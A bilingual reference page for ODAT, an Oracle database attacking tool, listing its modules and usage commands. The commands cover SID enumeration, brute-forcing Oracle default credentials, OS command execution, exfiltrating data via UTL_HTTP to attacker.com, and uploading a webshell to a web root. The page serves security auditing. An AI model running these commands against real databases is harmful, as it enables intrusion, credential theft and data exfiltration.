← retour aux outils back to tools

# odat

Oracle Database Attacking Tool. Teste les bases de données Oracle contre divers vecteurs d'attaque : brute-force, injection SQL, exécution Java, upload/lecture de fichiers, et élévation de privilèges. Oracle Database Attacking Tool. Tests Oracle databases for various attack vectors: brute-force, SQL injection, Java execution, file upload/read, and privilege escalation.

↗ https://github.com/quentinhardy/odat

## Overview

ODAT (Oracle Database Attacking Tool) is an offensive tool for auditing Oracle databases. It automates attacks against Oracle DB instances: account enumeration and brute-force, privilege escalation via known vulnerabilities, Java-based OS execution, file read/write via UTL_FILE, and more.

## Installation

    git clone https://github.com/quentinhardy/odat
    cd odat
    pip3 install -r requirements.txt

    # Requires Oracle Instant Client
    # Download from Oracle website and configure LD_LIBRARY_PATH

## Basic Usage

Test all attack modules

    python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL

With credentials

    python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

Brute-force accounts

    python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

Test specific module

    python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass

## Finding Oracle Services

Find Oracle TNS port (default 1521)

    nmap -p 1521 --script oracle-tns-version 10.10.10.1

    # Enumerate SIDs (Service IDs)
    nmap -p 1521 --script oracle-sid-brute 10.10.10.1
    python3 odat.py sidguesser -s 10.10.10.1 -p 1521

    # Common SIDs:
    # ORCL, XE, DB, PROD, TEST, ORACLE, ORA

## Brute-Force

Brute-force passwords (known default creds first)

    python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

    # Default Oracle credentials to try:
    # scott/tiger
    # system/manager
    # sys/change_on_install
    # dbsnmp/dbsnmp
    # outln/outln

Custom wordlist

    python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
      --accounts-file /usr/share/wordlists/oracle-default-accounts.txt

## Privilege Escalation

Check and escalate privileges

    python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

Via DBMS_SCHEDULER (OS command execution)

    python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --exec "whoami"

Via Java (if Java stored procedures enabled)

    python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --exec "whoami"

Via UTL_HTTP to exfiltrate data

    python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --url "http://attacker.com/data=$(whoami)"

## File Operations

Read a file from the DB server

    python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --getFile C:\Windows\win.ini /tmp/win.ini

Write a file to the server

    python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx

    # Webshell upload → remote code execution

## External Table Attack

Create external table to read OS files

    python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
      --getFile C:\boot.ini /tmp/boot.ini

## Tips

- Default creds (scott/tiger) still work on many Oracle instances — try these first
- SID enumeration is required before auth — use `sidguesser` first
- Java execution requires `CREATE PROCEDURE` and Java permissions — uncommon on hardened systems
- UTL_FILE write to web root = immediate code execution if Apache/IIS is running

Available Modules

    all                 Run all modules
    sidguesser          Enumerate Oracle SIDs
    passwordguesser     Brute-force accounts
    utlhttp             Use UTL_HTTP for requests
    httpuritype         HTTPURIType attack
    utltcp              UTL_TCP connections
    ctxsys              CTXSYS privilege escalation
    externaltable       External table file read
    dbmsxslprocessor    XSLT processing attacks
    dbmsadvisor         DBMS_ADVISOR attacks
    utlfile             File read/write via UTL_FILE
    dbmsscheduler       OS command via DBMS_SCHEDULER
    java                OS command via Java
    passwordstealer     Steal hashed passwords
    oradbg              Oracle Debugger attacks
    dbmspipe            DBMS_PIPE attacks
    stealremotepwds     Remote password steal
    userlikepwd         Check user=password
    smb                 SMB hash capture
    privesc             Privilege escalation

## Vue d’ensemble

ODAT (Oracle Database Attacking Tool) est un outil offensif pour auditer les bases de données Oracle. Il automatise les attaques contre les instances Oracle DB : énumération et brute-force de comptes, élévation de privilèges via des vulnérabilités connues, exécution OS via Java, lecture/écriture de fichiers via UTL_FILE, et plus.

## Installation

    git clone https://github.com/quentinhardy/odat
    cd odat
    pip3 install -r requirements.txt

    # Nécessite Oracle Instant Client
    # Télécharger depuis le site Oracle et configurer LD_LIBRARY_PATH

## Utilisation de base

    # Tester tous les modules d'attaque
    python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL

    # Avec des credentials
    python3 odat.py all -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

    # Brute-forcer les comptes
    python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

    # Tester un module spécifique
    python3 odat.py dbmsadvisor -s 10.10.10.1 -p 1521 -d ORCL -U user -P pass

## Trouver les services Oracle

    # Trouver le port TNS Oracle (par défaut 1521)
    nmap -p 1521 --script oracle-tns-version 10.10.10.1

    # Énumérer les SID (Service IDs)
    nmap -p 1521 --script oracle-sid-brute 10.10.10.1
    python3 odat.py sidguesser -s 10.10.10.1 -p 1521

    # SID courants :
    # ORCL, XE, DB, PROD, TEST, ORACLE, ORA

## Brute-force

    # Brute-forcer les mots de passe (essayer d'abord les credentials par défaut connus)
    python3 odat.py passwordguesser -s 10.10.10.1 -p 1521 -d ORCL

    # Credentials Oracle par défaut à essayer :
    # scott/tiger
    # system/manager
    # sys/change_on_install
    # dbsnmp/dbsnmp
    # outln/outln

    # Wordlist personnalisée
    python3 odat.py passwordguesser -s 10.10.10.1 -d ORCL \
      --accounts-file /usr/share/wordlists/oracle-default-accounts.txt

## Élévation de privilèges

    # Vérifier et élever les privilèges
    python3 odat.py privesc -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger

    # Via DBMS_SCHEDULER (exécution de commande OS)
    python3 odat.py dbmsscheduler -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --exec "whoami"

    # Via Java (si les procédures stockées Java sont activées)
    python3 odat.py java -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --exec "whoami"

    # Via UTL_HTTP pour exfiltrer des données
    python3 odat.py utlhttp -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --url "http://attacker.com/data=$(whoami)"

## Opérations sur fichiers

    # Lire un fichier depuis le serveur DB
    python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --getFile C:\Windows\win.ini /tmp/win.ini

    # Écrire un fichier sur le serveur
    python3 odat.py utlfile -s 10.10.10.1 -p 1521 -d ORCL -U scott -P tiger \
      --putFile C:\inetpub\wwwroot\shell.aspx /tmp/shell.aspx

    # Upload de webshell -> exécution de code à distance

## Attaque par table externe

    # Créer une table externe pour lire des fichiers OS
    python3 odat.py externaltable -s 10.10.10.1 -d ORCL -U scott -P tiger \
      --getFile C:\boot.ini /tmp/boot.ini

## Conseils

- Les credentials par défaut (scott/tiger) fonctionnent encore sur de nombreuses instances Oracle : à essayer en premier
- L’énumération de SID est requise avant l’authentification : utiliser `sidguesser` d’abord
- L’exécution Java nécessite `CREATE PROCEDURE` et des permissions Java : peu courant sur les systèmes durcis
- Une écriture UTL_FILE vers la racine web = exécution de code immédiate si Apache/IIS tourne

Modules disponibles

    all                 Run all modules
    sidguesser          Enumerate Oracle SIDs
    passwordguesser     Brute-force accounts
    utlhttp             Use UTL_HTTP for requests
    httpuritype         HTTPURIType attack
    utltcp              UTL_TCP connections
    ctxsys              CTXSYS privilege escalation
    externaltable       External table file read
    dbmsxslprocessor    XSLT processing attacks
    dbmsadvisor         DBMS_ADVISOR attacks
    utlfile             File read/write via UTL_FILE
    dbmsscheduler       OS command via DBMS_SCHEDULER
    java                OS command via Java
    passwordstealer     Steal hashed passwords
    oradbg              Oracle Debugger attacks
    dbmspipe            DBMS_PIPE attacks
    stealremotepwds     Remote password steal
    userlikepwd         Check user=password
    smb                 SMB hash capture
    privesc             Privilege escalation